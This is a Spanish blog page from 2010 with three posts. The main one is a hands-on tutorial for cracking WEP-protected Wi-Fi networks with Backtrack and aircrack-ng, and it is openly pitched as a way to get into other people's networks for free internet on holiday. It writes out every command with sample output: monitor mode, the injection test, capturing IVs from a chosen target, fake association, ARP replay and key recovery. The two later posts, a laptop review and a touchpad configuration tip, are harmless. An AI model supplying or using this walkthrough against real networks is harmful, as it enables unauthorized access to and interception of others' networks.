Crackeando WEP con Backtrack: comparte Wi-Fi durante el verano

Josemaría | 30 de julio de 2010 | 20 comentarios

wireless La gente quiere compartir su Wi-Fi con nosotros de forma desinteresada y, como Fon no sirve de gran cosa (¿Cuánto tiempo hace que no veis una red de Fon?¿Habeis visto alguna vez una? :-D ), suele dejarnos acceso libre a sus puntos de acceso. En caso contrario no se explica que aún hoy en día más de la mitad de los accesos inalámbricos esten configurados usando un sistema de cifrado, el WEP, que nos permite paso libre en apenas cuatro o cinco minutos. Un “amable” detalle para que no gastemos más en la factura de teléfono y poder recoger el correo o conectarnos a facebook para dar envidia durante las vacaciones.

La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).

Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:

root@bt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:

root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs

14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%

14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%

14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%

Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;

root@bt:~# airodump-ng mon0

Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

Wep Crack con Backtrack & Aircrack

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.

El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:

root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0

Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

Wep Crack con Backtrack & Aircrack

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…

Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:

root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0

La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:

root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0

La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Wep Crack con Backtrack & Aircrack

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.

Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:

root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap

Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

Wep Crack con Backtrack & Aircrack

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP :-D

Compártelo:
    emailPDFPrintBitacoras.comIdenti.caTwitterdel.icio.usDiigoFacebookMeneameBarraPuntoNetvibes

Asus UL30A con Fedora 13, Ubuntu 10.4 y Backtrack 4

Josemaría | 14 de julio de 2010 | 11 comentarios

portátiles El sábado pasado me compré un portatil nuevo. Después de dos años con mi netbook (Acer Aspire One 110), sintiéndolo totalmente amortizado y teniendo claras las cosas que he echado de menos en este tiempo, me apetecía comprar uno nuevo con la vista puesta en la entrada al nuevo curso después de las vacaciones. Ha sido una compra muy impulsiva, todo hay que decirlo. Llevaba un par de meses dándole vueltas al tema pero me decidí por un modelo concreto en apenas un par de horas. Quería, por supuesto, que no me diera problemas con Linux, que tuviera mejor resolución de pantalla, la mayor autonomía de batería posible, un procesador que me permitiera trabajar con máquinas virtuales, tan ligero como todos estos extras me permitieran y lo más económico posible. Un ultraligero, en definitiva.

Los posibles candidatos han sido tres: el Dell Vostro V13, el Acer Aspire TimeLine 3810 y el Asus UL30A. Después de leer el título aquí arriba a nadie se le escapará ya que este último ha sido el elegido, pero engañaría también si no dijese que el hecho de que lo tenían en stock en la FNAC y que quería disponer de él ese mismo día influyó bastante en la decisión final.

Aún no llevo una semana con él pero por el momento estoy encantado. Mi pequeña báscula electrónica me dice que pesa 100 grs. más de lo que cuenta el fabricante (1,8 kilos) pero la autonomía supera las 10 ronda las 8 horas permanentemente conectado a Internet vía wifi, a pleno rendimiento (ya sabéis como son los primeros días de un portatil: instalaciones, continuos rearranques, etc.) y sin ninguna optimización por software. La batería es de 8 celdas, pero está claro que los nuevos Procesadores Intel Core 2 Duo SU de bajo consumo hacen bien su trabajo. El teclado y el touchpad son muy cómodos y de tacto agradable, apenas se calienta y es silencioso como un ninja muerto. El cargador es pequeño y ligero y viene acompañado de una unidad grabadora de CD y DVD externa alimentada a través del puerto USB. Lo único manifiestamente mejorable es la pantalla que aunque presenta una nitidez y resolución realmente buenas tiene demasiados reflejos para trabajar con comodidad al aire libre sin estar reorientándola continuamente.

En cuanto a software, le he instalado un triple arranque con Fedora 13 (versión KDE), Ubuntu 10.4 (con Gnome) y Backtrack 4 final. Disponer de un disco duro en condiciones es otra de las cosas que echaba de menos para poder hacer estas cosas. Todas ellas han funcionado perfectamente con una instalación por defecto y sin tocar absolutamente nada. La instalación de Fedora la he hecho desde una memoria USB. La de Ubuntu y Backtrack usando el CD externo. Aunque en la pantalla inicial no aparece información de ello la tecla F2 nos da entrada a la configuración de la BIOS y la de Escape nos permite seleccionar un arranque alternativo. Por el momento, la única molestia apreciable es que el control de brillo de la pantalla no funciona de forma totalmente correcta con ninguno de los tres, ni mediante las teclas de función ni mediante software. No he probado aún la salida por HDMI, el lector de tarjetas ni el micrófono integrado.

ACTUALIZACIÓN: Se me olvidó comentar que la placa base soporta Express Gate, una utilidad para arrancar una distribución mínima de Linux basada en Splashtop con una tecla rápida y proporcionando de forma casi instantanea de conexión a wifi, un navegador web, skype, un programa de mensajería, un navegador de fotos y archivos y alguna cosilla más.

Compártelo:
    emailPDFPrintBitacoras.comIdenti.caTwitterdel.icio.usDiigoFacebookMeneameBarraPuntoNetvibes

Chuletillas (y XXV) – El touchpad del Acer Aspire One y Fedora 13

Josemaría | 7 de julio de 2010 | 9 comentarios

chuleta Una de las cosas que, incomprensiblemente, las distribuciones de Linux no cuidan todo lo que debieran es el soporte a los touchpads de una gran cantidad de portátiles. En demasiadas ocasiones estos no funcionan al 100% después de instalar una distribución y, por ejemplo, la útil funcionalidad de hacer doble click con el dedo sobre la almohadilla central no suele ir salvo en distribuciones minoritarias y muy orientadas a este tipo de dispositivos. En mi Acer Aspire One, por ejemplo, Ni Fedora 13 ni Ubuntu 10.4 lo reconocen completamente tras una instalación limpia.

En Fedora 13 la solución pasa por los siguientes dos pasos. En primer lugar tenemos que crear un fichero llamado 50-synaptics.conf y copiarlo dentro del directorio /etc/X11/xorg.conf.d/ El contenido del fichero debe de ser este:

Section "InputClass"
Identifier "touchpad catchall"
MatchIsTouchpad "on"
Driver “synaptics”
Option "TapButton1" "1"
EndSection

Con esto debería de bastar para que las X reconocieran todas las funcionalidades del touchpad pero al menos con KDE no es suficiente (ignoro si con otros gestores de ventana lo hace). En el login manager (kdm) el doble click funciona pero una vez que el entorno gráfico arranca no. La solución pasa por crear un script y ejecutarlo automáticamente en el inicio de sesión. El contenido del script ha de ser sólo esto:

synclient TapButton1=1

Compártelo:
    emailPDFPrintBitacoras.comIdenti.caTwitterdel.icio.usDiigoFacebookMeneameBarraPuntoNetvibes